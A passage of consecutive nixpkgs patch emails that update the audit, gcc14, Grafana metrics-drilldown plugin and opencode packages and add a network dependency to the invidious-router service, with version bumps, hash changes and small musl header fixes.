   # configure script tries executing python to gather info instead of relying on
   # python3-config exclusively
   enablePython ? stdenv.hostPlatform == stdenv.buildPlatform,
+  nix-update-script,
 }:
 stdenv.mkDerivation (finalAttrs: {
   pname = "audit";
@@ -89,8 +90,11 @@ stdenv.mkDerivation (finalAttrs: {
 
   enableParallelBuilding = true;
 
-  passthru.tests = {
-    musl = pkgsCross.musl64.audit;
+  passthru = {
+    updateScript = nix-update-script { };
+    tests = {
+      musl = pkgsCross.musl64.audit;
+    };
   };
 
   meta = {

From 9a26d5313b00747aa8f84fea79d75cc277970f2c Mon Sep 17 00:00:00 2001
From: Grimmauld <Grimmauld@grimmauld.de>
Date: Wed, 25 Jun 2025 23:01:30 +0200
Subject: [PATCH 2356/4511] audit: add pkg-config meta and tester

(cherry picked from commit 916454f79645ecba4da6b7974927fea9cc4a8d60)
---
 pkgs/by-name/au/audit/package.nix | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/pkgs/by-name/au/audit/package.nix b/pkgs/by-name/au/audit/package.nix
index e633133fff1f..ba908eddbd8f 100644
--- a/pkgs/by-name/au/audit/package.nix
+++ b/pkgs/by-name/au/audit/package.nix
@@ -16,6 +16,7 @@
   # python3-config exclusively
   enablePython ? stdenv.hostPlatform == stdenv.buildPlatform,
   nix-update-script,
+  testers,
 }:
 stdenv.mkDerivation (finalAttrs: {
   pname = "audit";
@@ -94,6 +95,7 @@ stdenv.mkDerivation (finalAttrs: {
     updateScript = nix-update-script { };
     tests = {
       musl = pkgsCross.musl64.audit;
+      pkg-config = testers.testMetaPkgConfig finalAttrs.finalPackage;
     };
   };
 
@@ -103,6 +105,10 @@ stdenv.mkDerivation (finalAttrs: {
     changelog = "https://github.com/linux-audit/audit-userspace/releases/tag/v${finalAttrs.version}";
     license = lib.licenses.gpl2Plus;
     maintainers = with lib.maintainers; [ grimmauld ];
+    pkgConfigModules = [
+      "audit"
+      "auparse"
+    ];
     platforms = lib.platforms.linux;
   };
 })

From 51b8c408a6ebaedfebadf2b3eaee88856c362f4f Mon Sep 17 00:00:00 2001
From: Grimmauld <Grimmauld@grimmauld.de>
Date: Wed, 25 Jun 2025 23:12:13 +0200
Subject: [PATCH 2357/4511] audit: build with libcap_ng

See auditd-plugins(5) for motivation:
> When the audit daemon starts your plugin, you will be running as root.
> If you do not need root privileges, you should change uid/gid to lower
> chances of being a target for exploit. If you need to retain capabilities,
> using libcap-ng is the simplest way.

`libcap_ng` is already in the closure via util-linux and thus does not
unnecessarily bloat the system. It is also a very sane idea to allow
plugins to drop privileges if they already conveniently support it.

(cherry picked from commit 4db1e1cf1356bf7569db932fb339efa83657ee5d)
---
 pkgs/by-name/au/audit/package.nix | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/pkgs/by-name/au/audit/package.nix b/pkgs/by-name/au/audit/package.nix
index ba908eddbd8f..62732842d66a 100644
--- a/pkgs/by-name/au/audit/package.nix
+++ b/pkgs/by-name/au/audit/package.nix
@@ -10,6 +10,7 @@
   python3,
   swig,
   pkgsCross,
+  libcap_ng,
 
   # Enabling python support while cross compiling would be possible, but the
   # configure script tries executing python to gather info instead of relying on
@@ -78,6 +79,7 @@ stdenv.mkDerivation (finalAttrs: {
 
   buildInputs = [
     bash
+    libcap_ng
   ];
 
   configureFlags = [
@@ -86,6 +88,9 @@ stdenv.mkDerivation (finalAttrs: {
     "--disable-zos-remote"
     "--with-arm"
     "--with-aarch64"
+    # capability dropping, currently mostly for plugins as those get spawned as root
+    # see auditd-plugins(5)
+    "--with-libcap-ng=yes"
     (if enablePython then "--with-python" else "--without-python")
   ];
 

From 0b55cdb96d2b57258e37fc682e4b350626c4dfa2 Mon Sep 17 00:00:00 2001
From: Grimmauld <Grimmauld@grimmauld.de>
Date: Thu, 10 Jul 2025 14:44:58 +0200
Subject: [PATCH 2358/4511] audit: 4.0.5 -> 4.1.0

Changelog: https://github.com/linux-audit/audit-userspace/releases/tag/v4.1.0
(cherry picked from commit 8e3888242d2d88094893251c5bdd36b2bfc828f8)
---
 pkgs/by-name/au/audit/musl.patch  | 76 +++++++++++++++++++++++++++++++
 pkgs/by-name/au/audit/package.nix | 26 ++++-------
 2 files changed, 84 insertions(+), 18 deletions(-)
 create mode 100644 pkgs/by-name/au/audit/musl.patch

diff --git a/pkgs/by-name/au/audit/musl.patch b/pkgs/by-name/au/audit/musl.patch
new file mode 100644
index 000000000000..8485a0759548
--- /dev/null
+++ b/pkgs/by-name/au/audit/musl.patch
@@ -0,0 +1,76 @@
+From 87c782153deb10bd8c3345723a8bcee343826e78 Mon Sep 17 00:00:00 2001
+From: Grimmauld <Grimmauld@grimmauld.de>
+Date: Thu, 10 Jul 2025 18:58:31 +0200
+Subject: [PATCH 1/2] lib/audit_logging.h: fix includes for musl
+
+`sys/types.h` is indirectly included with `glibc`,
+but needs to be specified explicitly on musl.
+---
+ lib/audit_logging.h | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/lib/audit_logging.h b/lib/audit_logging.h
+index 9082a2720..c58861b1e 100644
+--- a/lib/audit_logging.h
++++ b/lib/audit_logging.h
+@@ -25,6 +25,7 @@
+ 
+ // Next include is to pick up the function attribute macros
+ #include <features.h>
++#include <sys/types.h>
+ #include <audit-records.h>
+ 
+ #ifdef __cplusplus
+
+From 98adfcc4bfa66ac25db0b609d7172d7d40c4f85f Mon Sep 17 00:00:00 2001
+From: Grimmauld <Grimmauld@grimmauld.de>
+Date: Fri, 11 Jul 2025 08:11:21 +0200
+Subject: [PATCH 2/2] Guard __attr_dealloc_free seperately from __attr_dealloc
+
+Otherwise, header include order matters when building against a libc that
+does not itself define __attr_dealloc_free, such as musl.
+---
+ auparse/auparse.h   | 2 ++
+ lib/audit_logging.h | 2 ++
+ lib/libaudit.h      | 2 ++
+ 3 files changed, 6 insertions(+)
+
+diff --git a/auparse/auparse.h b/auparse/auparse.h
+index 48375e2c7..ba5139625 100644
+--- a/auparse/auparse.h
++++ b/auparse/auparse.h
+@@ -31,6 +31,8 @@
+ #endif
+ #ifndef __attr_dealloc
+ # define __attr_dealloc(dealloc, argno)
++#endif
++#ifndef __attr_dealloc_free
+ # define __attr_dealloc_free
+ #endif
+ #ifndef __attribute_malloc__
+diff --git a/lib/audit_logging.h b/lib/audit_logging.h
+index c58861b1e..fab7e75d1 100644
+--- a/lib/audit_logging.h
++++ b/lib/audit_logging.h
+@@ -40,6 +40,8 @@ extern "C" {
+ #endif
+ #ifndef __attr_dealloc
+ # define __attr_dealloc(dealloc, argno)
++#endif
++#ifndef __attr_dealloc_free
+ # define __attr_dealloc_free
+ #endif
+ // Warn unused result
+diff --git a/lib/libaudit.h b/lib/libaudit.h
+index 2c51853b7..cce5dc493 100644
+--- a/lib/libaudit.h
++++ b/lib/libaudit.h
+@@ -43,6 +43,8 @@
+ // malloc and free assignments
+ #ifndef __attr_dealloc
+ # define __attr_dealloc(dealloc, argno)
++#endif
++#ifndef __attr_dealloc_free
+ # define __attr_dealloc_free
+ #endif
+ #ifndef __attribute_malloc__
diff --git a/pkgs/by-name/au/audit/package.nix b/pkgs/by-name/au/audit/package.nix
index 62732842d66a..0f8f600251da 100644
--- a/pkgs/by-name/au/audit/package.nix
+++ b/pkgs/by-name/au/audit/package.nix
@@ -2,7 +2,6 @@
   lib,
   stdenv,
   fetchFromGitHub,
-  fetchpatch,
   autoreconfHook,
   bash,
   buildPackages,
@@ -21,31 +20,18 @@
 }:
 stdenv.mkDerivation (finalAttrs: {
   pname = "audit";
-  version = "4.0.5";
+  version = "4.1.0";
 
   src = fetchFromGitHub {
     owner = "linux-audit";
     repo = "audit-userspace";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-SgMt1MmcH7r7O6bmJCetRg3IdoZXAXjVJyeu0HRfyf8=";
+    hash = "sha256-MWlHaGue7Ca8ks34KNg74n4Rfj8ivqAhLOJHeyE2Q04=";
   };
 
   patches = [
-    # nix configures most stuff by symlinks, e.g. in /etc
-    # thus, for plugins to be picked up, symlinks must be allowed
-    # https://github.com/linux-audit/audit-userspace/pull/467
-    (fetchpatch {
-      url = "https://github.com/linux-audit/audit-userspace/pull/467/commits/dbefc642b3bd0cafe599fcd18c6c88cb672397ee.patch?full_index=1";
-      hash = "sha256-Ksn/qKBQYFAjvs1OVuWhgWCdf4Bdp9/a+MrhyJAT+Bw=";
-    })
-    (fetchpatch {
-      url = "https://github.com/linux-audit/audit-userspace/pull/467/commits/50094f56fefc0b9033ef65e8c4f108ed52ef5de5.patch?full_index=1";
-      hash = "sha256-CJKDLdlpsCd+bG6j5agcnxY1+vMCImHwHGN6BXURa4c=";
-    })
-    (fetchpatch {
-      url = "https://github.com/linux-audit/audit-userspace/pull/467/commits/5e75091abd297807b71b3cfe54345c2ef223939a.patch?full_index=1";
-      hash = "sha256-LPpO4PH/3MyCJq2xhmhhcnFeK3yh7LK6Mjypuvhacu4=";
-    })
+    # https://github.com/linux-audit/audit-userspace/pull/476
+    ./musl.patch
   ];
 
   postPatch = ''
@@ -54,6 +40,10 @@ stdenv.mkDerivation (finalAttrs: {
                      "${linuxHeaders}/include/linux/audit.h"
   '';
 
+  # https://github.com/linux-audit/audit-userspace/issues/474
+  # building databuf_test fails otherwise, as that uses hidden symbols only available in the static builds
+  dontDisableStatic = true;
+
   outputs = [
     "bin"
     "lib"

From 67c932004a1a3f9612f613cf52caca14ff39f689 Mon Sep 17 00:00:00 2001
From: Benedikt Peetz <benedikt.peetz@b-peetz.de>
Date: Sun, 13 Jul 2025 11:25:51 +0200
Subject: [PATCH 2359/4511] nixos/invidious-router: Add systemd dependency on
 `network-online.target`

Otherwise, the systemd service will reliably fail on a clean boot, as
invidious-router needs a set-up network connection before starting.

(cherry picked from commit fab364e89b845735ef7f4d27420ede07c8e433a2)
---
 nixos/modules/services/misc/invidious-router.nix | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/nixos/modules/services/misc/invidious-router.nix b/nixos/modules/services/misc/invidious-router.nix
index f28538981e27..5d4fc1528890 100644
--- a/nixos/modules/services/misc/invidious-router.nix
+++ b/nixos/modules/services/misc/invidious-router.nix
@@ -101,6 +101,10 @@ in
   config = lib.mkIf cfg.enable {
     systemd.services.invidious-router = {
       wantedBy = [ "multi-user.target" ];
+
+      after = [ "network-online.target" ];
+      requires = [ "network-online.target" ];
+
       serviceConfig = {
         Restart = "on-failure";
         ExecStart = "${lib.getExe cfg.package} --configfile ${configFile}";

From 178fa1bf7b25a2bc7730587faf714126d34c754b Mon Sep 17 00:00:00 2001
From: Sergei Trofimovich <slyich@gmail.com>
Date: Fri, 23 May 2025 22:19:59 +0100
Subject: [PATCH 2360/4511] gcc14: 14.2.1.20250322 -> 14.3.0

Changes: https://lists.gnu.org/archive/html/info-gnu/2025-05/msg00004.html
(cherry picked from commit dc2e7bea50cdb1df16cf2218d729667760dbb082)
---
 .../patches/14/aarch64-fix-ice-subreg.patch   | 87 -------------------
 .../compilers/gcc/patches/default.nix         |  5 --
 pkgs/development/compilers/gcc/versions.nix   |  4 +-
 3 files changed, 2 insertions(+), 94 deletions(-)
 delete mode 100644 pkgs/development/compilers/gcc/patches/14/aarch64-fix-ice-subreg.patch

diff --git a/pkgs/development/compilers/gcc/patches/14/aarch64-fix-ice-subreg.patch b/pkgs/development/compilers/gcc/patches/14/aarch64-fix-ice-subreg.patch
deleted file mode 100644
index a8783ddbfa27..000000000000
--- a/pkgs/development/compilers/gcc/patches/14/aarch64-fix-ice-subreg.patch
+++ /dev/null
@@ -1,87 +0,0 @@
-diff --git a/gcc/config/aarch64/aarch64.md b/gcc/config/aarch64/aarch64.md
-index d3c381e82ce..6a481059bf0 100644
---- a/gcc/config/aarch64/aarch64.md
-+++ b/gcc/config/aarch64/aarch64.md
-@@ -6161,8 +6161,8 @@
- 			  (match_dup 1))
- 	(match_dup 2))]
-   {
--    operands[2] = lowpart_subreg (<GPI:MODE>mode, operands[2],
--				  <ALLX:MODE>mode);
-+    operands[2] = force_lowpart_subreg (<GPI:MODE>mode, operands[2],
-+					<ALLX:MODE>mode);
-   }
-   [(set_attr "type" "bfm,neon_ins_q,neon_ins_q")
-    (set_attr "arch" "*,simd,simd")]
-@@ -7210,7 +7210,7 @@
- 
-       emit_insn (gen_iorv2<v_int_equiv>3 (
- 	lowpart_subreg (V2<V_INT_EQUIV>mode, operands[0], <MODE>mode),
--	lowpart_subreg (V2<V_INT_EQUIV>mode, operands[1], <MODE>mode),
-+	force_lowpart_subreg (V2<V_INT_EQUIV>mode, operands[1], <MODE>mode),
- 	v_bitmask));
-       DONE;
-     }
-@@ -7255,8 +7255,8 @@
-   "TARGET_SIMD"
- {
-   rtx tmp = gen_reg_rtx (<VCONQ>mode);
--  rtx op1 = lowpart_subreg (<VCONQ>mode, operands[1], <MODE>mode);
--  rtx op2 = lowpart_subreg (<VCONQ>mode, operands[2], <MODE>mode);
-+  rtx op1 = force_lowpart_subreg (<VCONQ>mode, operands[1], <MODE>mode);
-+  rtx op2 = force_lowpart_subreg (<VCONQ>mode, operands[2], <MODE>mode);
-   emit_insn (gen_xorsign3 (<VCONQ>mode, tmp, op1, op2));
-   emit_move_insn (operands[0],
- 		  lowpart_subreg (<MODE>mode, tmp, <VCONQ>mode));
-diff --git a/gcc/explow.cc b/gcc/explow.cc
-index f6843398c4b..80f59418bca 100644
---- a/gcc/explow.cc
-+++ b/gcc/explow.cc
-@@ -760,6 +760,34 @@ force_subreg (machine_mode outermode, rtx op,
-   return simplify_gen_subreg (outermode, op, innermode, byte);
- }
- 
-+/* Try to return an rvalue expression for the OUTERMODE lowpart of OP,
-+   which has mode INNERMODE.  Allow OP to be forced into a new register
-+   if necessary.
-+
-+   Return null on failure.  */
-+
-+rtx
-+force_lowpart_subreg (machine_mode outermode, rtx op,
-+		      machine_mode innermode)
-+{
-+  auto byte = subreg_lowpart_offset (outermode, innermode);
-+  return force_subreg (outermode, op, innermode, byte);
-+}
-+
-+/* Try to return an rvalue expression for the OUTERMODE highpart of OP,
-+   which has mode INNERMODE.  Allow OP to be forced into a new register
-+   if necessary.
-+
-+   Return null on failure.  */
-+
-+rtx
-+force_highpart_subreg (machine_mode outermode, rtx op,
-+		       machine_mode innermode)
-+{
-+  auto byte = subreg_highpart_offset (outermode, innermode);
-+  return force_subreg (outermode, op, innermode, byte);
-+}
-+
- /* If X is a memory ref, copy its contents to a new temp reg and return
-    that reg.  Otherwise, return X.  */
- 
-diff --git a/gcc/explow.h b/gcc/explow.h
-index cbd1fcb7eb3..de89e9e2933 100644
---- a/gcc/explow.h
-+++ b/gcc/explow.h
-@@ -43,6 +43,8 @@ extern rtx copy_to_suggested_reg (rtx, rtx, machine_mode);
- extern rtx force_reg (machine_mode, rtx);
- 
- extern rtx force_subreg (machine_mode, rtx, machine_mode, poly_uint64);
-+extern rtx force_lowpart_subreg (machine_mode, rtx, machine_mode);
-+extern rtx force_highpart_subreg (machine_mode, rtx, machine_mode);
- 
- /* Return given rtx, copied into a new temp reg if it was in memory.  */
- extern rtx force_not_mem (rtx);
diff --git a/pkgs/development/compilers/gcc/patches/default.nix b/pkgs/development/compilers/gcc/patches/default.nix
index 709d35caff38..bb68f2cc4146 100644
--- a/pkgs/development/compilers/gcc/patches/default.nix
+++ b/pkgs/development/compilers/gcc/patches/default.nix
@@ -100,11 +100,6 @@ in
 ++ optional langD ./libphobos.patch
 ++ optional (!atLeast14) ./cfi_startproc-reorder-label-09-1.diff
 ++ optional (atLeast14 && !canApplyIainsDarwinPatches) ./cfi_startproc-reorder-label-14-1.diff
-# backports of https://gcc.gnu.org/bugzilla/show_bug.cgi?id=118501
-#          and https://gcc.gnu.org/bugzilla/show_bug.cgi?id=118892
-#          and https://gcc.gnu.org/bugzilla/show_bug.cgi?id=119133
-# (hopefully all three will be included in the upcoming 14.3.0 release)
-++ optional is14 ./14/aarch64-fix-ice-subreg.patch
 
 ## 2. Patches relevant to gcc>=12 on specific platforms ####################################
 
diff --git a/pkgs/development/compilers/gcc/versions.nix b/pkgs/development/compilers/gcc/versions.nix
index 3f9debb2d742..63921abef84d 100644
--- a/pkgs/development/compilers/gcc/versions.nix
+++ b/pkgs/development/compilers/gcc/versions.nix
@@ -1,7 +1,7 @@
 let
   majorMinorToVersionMap = {
     "15" = "15.1.0";
-    "14" = "14.2.1.20250322";
+    "14" = "14.3.0";
     "13" = "13.3.0";
     "12" = "12.4.0";
     "11" = "11.5.0";
@@ -18,7 +18,7 @@ let
       # 3 digits: releases (14.2.0)
       # 4 digits: snapshots (14.2.1.20250322)
       "15.1.0" = "sha256-4rCewhZg8B/s/7cV4BICZSFpQ/A40OSKmGhxPlTwbOo=";
-      "14.2.1.20250322" = "sha256-I3ROhiU4jYaB2aci2Z3B/mvLLTjBBoCF1CL7uiHTmUM=";
+      "14.3.0" = "sha256-4Nx3KXYlYxrI5Q+pL//v6Jmk63AlktpcMu8E4ik6yjo=";
       "13.3.0" = "sha256-CEXpYhyVQ6E/SE6UWEpJ/8ASmXDpkUYkI1/B0GGgwIM=";
       "12.4.0" = "sha256-cE9lJgTMvMsUvavzR4yVEciXiLEss7v/3tNzQZFqkXU=";
       "11.5.0" = "sha256-puIYaOrVRc+H8MAfhCduS1KB1nIJhZHByJYkHwk2NHg=";

From 87986c0ffccb2c344077411797a97b91085e8594 Mon Sep 17 00:00:00 2001
From: Marcel <me@m4rc3l.de>
Date: Tue, 8 Jul 2025 21:24:52 +0200
Subject: [PATCH 2361/4511] grafanaPlugins.grafana-metricsdrilldown-app: 1.0.4
 -> 1.0.5

(cherry picked from commit 12eccdf4e71a08149d6adf9e8fe4bfbd3d35c86e)
---
 .../grafana/plugins/grafana-metricsdrilldown-app/default.nix  | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/servers/monitoring/grafana/plugins/grafana-metricsdrilldown-app/default.nix b/pkgs/servers/monitoring/grafana/plugins/grafana-metricsdrilldown-app/default.nix
index cef22b098206..91d3f474316d 100644
--- a/pkgs/servers/monitoring/grafana/plugins/grafana-metricsdrilldown-app/default.nix
+++ b/pkgs/servers/monitoring/grafana/plugins/grafana-metricsdrilldown-app/default.nix
@@ -2,8 +2,8 @@
 
 grafanaPlugin {
   pname = "grafana-metricsdrilldown-app";
-  version = "1.0.4";
-  zipHash = "sha256-FdeicETOYWdITUBFC19wdGn53ACsRc7Pq2iampksAS4=";
+  version = "1.0.5";
+  zipHash = "sha256-87BiMGdIUxtbzZjIm3+XMbM8IFlsUOBDruyUwJm2hmU=";
   meta = with lib; {
     description = "The Grafana Metrics Drilldown app provides a queryless experience for browsing Prometheus-compatible metrics. Quickly find related metrics without writing PromQL queries.";
     license = licenses.agpl3Only;

From d261f4daaa6a43d54b46f6973ce0bc4bd2458f90 Mon Sep 17 00:00:00 2001
From: Thierry Delafontaine <delafthi@pm.me>
Date: Tue, 8 Jul 2025 11:20:31 +0200
Subject: [PATCH 2362/4511] opencode: 0.1.194 -> 0.2.5

(cherry picked from commit 16426f94914eaa8509e5ae83cb97eb8451a4248f)
---
 pkgs/by-name/op/opencode/package.nix | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/op/opencode/package.nix b/pkgs/by-name/op/opencode/package.nix
index 0177c0224b4a..65b5fabd3ae1 100644
--- a/pkgs/by-name/op/opencode/package.nix
+++ b/pkgs/by-name/op/opencode/package.nix
@@ -12,10 +12,10 @@
 
 let
   opencode-node-modules-hash = {
-    "aarch64-darwin" = "sha256-+eXXWskZg0CIY12+Ee4Y3uwpB5I92grDiZ600Whzx/I=";
-    "aarch64-linux" = "sha256-rxLPrYAIiKDh6de/GACPfcYXY7nIskqAu1Xi12y5DpU=";
-    "x86_64-darwin" = "sha256-LOz7N6gMRaZLPks+y5fDIMOuUCXTWpHIss1v0LHPnqw=";
-    "x86_64-linux" = "sha256-GKLR+T+lCa7GFQr6HqSisfa4uf8F2b79RICZmePmCBE=";
+    "aarch64-darwin" = "sha256-uk8HQfHCKTAW54rNHZ1Rr0piZzeJdx6i4o0+xKjfFZs=";
+    "aarch64-linux" = "sha256-gDQh8gfFKl0rAujtos1XsCUnxC2Vjyq9xH5FLZoNW5s=";
+    "x86_64-darwin" = "sha256-H5+qa7vxhwNYRXUo4v8IFUToVXtyXzU3veIqu4idAbU=";
+    "x86_64-linux" = "sha256-1ZxetDrrRdNNOfDOW2uMwMwpEs5S3BLF+SejWcRdtik=";
   };
   bun-target = {
     "aarch64-darwin" = "bun-darwin-arm64";
@@ -26,12 +26,12 @@ let
 in
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "opencode";
-  version = "0.1.194";
+  version = "0.2.5";
   src = fetchFromGitHub {
     owner = "sst";
     repo = "opencode";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-51Mc0Qrg3C0JTpXl2OECKEUvle+6X+j9+/Blu8Nu9Ao=";
+    hash = "sha256-eeB0M95APRLS5sJ49ubrUTga71Sy5UHUbR3Ps7oWYzo=";
   };
 
   tui = buildGoModule {
@@ -39,7 +39,7 @@ stdenvNoCC.mkDerivation (finalAttrs: {
     inherit (finalAttrs) version;
     src = "${finalAttrs.src}/packages/tui";
 
-    vendorHash = "sha256-hxtQHlaV2Em8CyTK3BNaoo/LgnGbMjj5XafbleF+p9I=";
+    vendorHash = "sha256-hLXOcZKGx56Q4BaWC0Y1/38Uo/soGbvqFSqoznYwoOo=";
 
     subPackages = [ "cmd/opencode" ];
 

From 682ba5a06b2a0fa80c45dd413a5f2b857c164519 Mon Sep 17 00:00:00 2001
From: Thierry Delafontaine <delafthi@pm.me>
Date: Tue, 8 Jul 2025 21:05:46 +0200
Subject: [PATCH 2363/4511] opencode: 0.2.5 -> 0.2.6

(cherry picked from commit d1a79fcd1714d6d32ede425e70dcbf1cc7cb132c)
---
 pkgs/by-name/op/opencode/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/op/opencode/package.nix b/pkgs/by-name/op/opencode/package.nix
index 65b5fabd3ae1..83ae2c602226 100644
--- a/pkgs/by-name/op/opencode/package.nix
+++ b/pkgs/by-name/op/opencode/package.nix
@@ -26,12 +26,12 @@ let
 in
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "opencode";
-  version = "0.2.5";
+  version = "0.2.6";
   src = fetchFromGitHub {
     owner = "sst";
     repo = "opencode";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-eeB0M95APRLS5sJ49ubrUTga71Sy5UHUbR3Ps7oWYzo=";
+    hash = "sha256-k1eDQPZKV+X7I1gDPpAKTQBhWMjvXfOyZV4w+UIqLbU=";
   };
 
   tui = buildGoModule {
@@ -39,7 +39,7 @@ stdenvNoCC.mkDerivation (finalAttrs: {
     inherit (finalAttrs) version;
     src = "${finalAttrs.src}/packages/tui";
 
-    vendorHash = "sha256-hLXOcZKGx56Q4BaWC0Y1/38Uo/soGbvqFSqoznYwoOo=";
+    vendorHash = "sha256-i7nFthcJOT1rCMsu4b3nzKjWnErGJJkWcGF1BFw58ZE=";
 
     subPackages = [ "cmd/opencode" ];
 

From 78b650e1ebc66b0710ef1347216ade34d8b722dc Mon Sep 17 00:00:00 2001
From: Thierry Delafontaine <delafthi@pm.me>
Date: Wed, 9 Jul 2025 13:03:23 +0200
Subject: [PATCH 2364/4511] opencode: 0.2.6 -> 0.2.13

(cherry picked from commit afa0c5dc82ec21b74169e1cf9d8787abcac976da)
---
 pkgs/by-name/op/opencode/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/op/opencode/package.nix b/pkgs/by-name/op/opencode/package.nix
index 83ae2c602226..68f4e9f4fd81 100644
--- a/pkgs/by-name/op/opencode/package.nix
+++ b/pkgs/by-name/op/opencode/package.nix
@@ -26,12 +26,12 @@ let
 in
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "opencode";
-  version = "0.2.6";
+  version = "0.2.13";
   src = fetchFromGitHub {
     owner = "sst";
     repo = "opencode";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-k1eDQPZKV+X7I1gDPpAKTQBhWMjvXfOyZV4w+UIqLbU=";
+    hash = "sha256-Sh7FEn34iL4iZuusmghLCvKHfx/CMjOogBwnT+enz4g=";
   };
 
   tui = buildGoModule {
@@ -39,7 +39,7 @@ stdenvNoCC.mkDerivation (finalAttrs: {
     inherit (finalAttrs) version;
     src = "${finalAttrs.src}/packages/tui";
 
-    vendorHash = "sha256-i7nFthcJOT1rCMsu4b3nzKjWnErGJJkWcGF1BFw58ZE=";
+    vendorHash = "sha256-Qvn59PU95TniPy7JaZDJhn/wUCfFYM+7bzav1jxNv34=";
 
     subPackages = [ "cmd/opencode" ];
 

From bce4c1eb1f578b2c762954538c014a607a2b73e3 Mon Sep 17 00:00:00 2001
From: Thierry Delafontaine <delafthi@pm.me>
Date: Thu, 10 Jul 2025 14:56:58 +0200
Subject: [PATCH 2365/4511] opencode: 0.2.13 -> 0.2.20

(cherry picked from commit 7bc194686d26b9f8320c62d73ef8ee82457af8bc)
---
 pkgs/by-name/op/opencode/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/op/opencode/package.nix b/pkgs/by-name/op/opencode/package.nix
index 68f4e9f4fd81..696d2329b2bb 100644
--- a/pkgs/by-name/op/opencode/package.nix
+++ b/pkgs/by-name/op/opencode/package.nix
@@ -26,12 +26,12 @@ let
 in
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "opencode";
-  version = "0.2.13";
+  version = "0.2.20";
   src = fetchFromGitHub {
     owner = "sst";
     repo = "opencode";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-Sh7FEn34iL4iZuusmghLCvKHfx/CMjOogBwnT+enz4g=";
+    hash = "sha256-QONFC5HP5+mA/p7irEskJb8fN/uOnQ4VoB6mjP9v32k=";
   };
 
   tui = buildGoModule {
@@ -39,7 +39,7 @@ stdenvNoCC.mkDerivation (finalAttrs: {
     inherit (finalAttrs) version;
     src = "${finalAttrs.src}/packages/tui";
 
-    vendorHash = "sha256-Qvn59PU95TniPy7JaZDJhn/wUCfFYM+7bzav1jxNv34=";
+    vendorHash = "sha256-ujDTUdQLpWMFcmbabg4je6ZHFmUEyjaGt6BDucnC6mg=";
 
     subPackages = [ "cmd/opencode" ];
 

From 4edcb05754a4a78508ddd2377fb9af77cf09056a Mon Sep 17 00:00:00 2001
From: Thierry Delafontaine <delafthi@pm.me>
Date: Thu, 10 Jul 2025 21:36:04 +0200
Subject: [PATCH 2366/4511] opencode: 0.2.20 -> 0.2.23

(cherry picked from commit 3e1661ea7ff1ad2b580296bc8ea3652fece8708a)
---
 pkgs/by-name/op/opencode/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/op/opencode/package.nix b/pkgs/by-name/op/opencode/package.nix
index 696d2329b2bb..5e986898d3f1 100644
--- a/pkgs/by-name/op/opencode/package.nix
+++ b/pkgs/by-name/op/opencode/package.nix
@@ -26,12 +26,12 @@ let
 in
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "opencode";
-  version = "0.2.20";
+  version = "0.2.23";
   src = fetchFromGitHub {
     owner = "sst";
     repo = "opencode";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-QONFC5HP5+mA/p7irEskJb8fN/uOnQ4VoB6mjP9v32k=";
+    hash = "sha256-rfYhlbSiSgpbbJazZf7P+bOiugVO+sYt+xFuYjBcBhY=";
   };
 
   tui = buildGoModule {
@@ -39,7 +39,7 @@ stdenvNoCC.mkDerivation (finalAttrs: {
     inherit (finalAttrs) version;
     src = "${finalAttrs.src}/packages/tui";
 
-    vendorHash = "sha256-ujDTUdQLpWMFcmbabg4je6ZHFmUEyjaGt6BDucnC6mg=";
+    vendorHash = "sha256-PRPJlLjzcxKpVSKKLc9fOEh41QZz2AH7vsLb1P5/tvg=";
 
     subPackages = [ "cmd/opencode" ];
 

From eb8e1ff97f7725e81335c49af4da9a313b5f1b24 Mon Sep 17 00:00:00 2001
From: Thierry Delafontaine <delafthi@pm.me>
Date: Thu, 10 Jul 2025 22:14:27 +0200
Subject: [PATCH 2367/4511] opencode: 0.2.23 -> 0.2.25

(cherry picked from commit a435da7902de33caef36e890f128e125f196bcf7)
---
 pkgs/by-name/op/opencode/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/op/opencode/package.nix b/pkgs/by-name/op/opencode/package.nix
index 5e986898d3f1..57ffe8253858 100644
--- a/pkgs/by-name/op/opencode/package.nix
+++ b/pkgs/by-name/op/opencode/package.nix
@@ -26,12 +26,12 @@ let
 in
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "opencode";
-  version = "0.2.23";
+  version = "0.2.25";
   src = fetchFromGitHub {
     owner = "sst";
     repo = "opencode";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-rfYhlbSiSgpbbJazZf7P+bOiugVO+sYt+xFuYjBcBhY=";
+    hash = "sha256-eZCWBnFfC4WSprhr+MXnJLuOyY3bEEfWwc89kc9VBs4=";
   };
 
   tui = buildGoModule {

From 1a8d88e6042c9508f40d8dbe60d83ea63062448a Mon Sep 17 00:00:00 2001
From: Thierry Delafontaine <delafthi@pm.me>
Date: Fri, 11 Jul 2025 12:12:03 +0200
Subject: [PATCH 2368/4511] opencode: remove unnecessary `mkdir` in
 `installPhase`

(cherry picked from commit dabbedd709d4e740a76b7e888a5a0bb6c983f3cd)
---
 pkgs/by-name/op/opencode/package.nix | 1 -
 1 file changed, 1 deletion(-)

diff --git a/pkgs/by-name/op/opencode/package.nix b/pkgs/by-name/op/opencode/package.nix
index 57ffe8253858..0268c74af6ca 100644
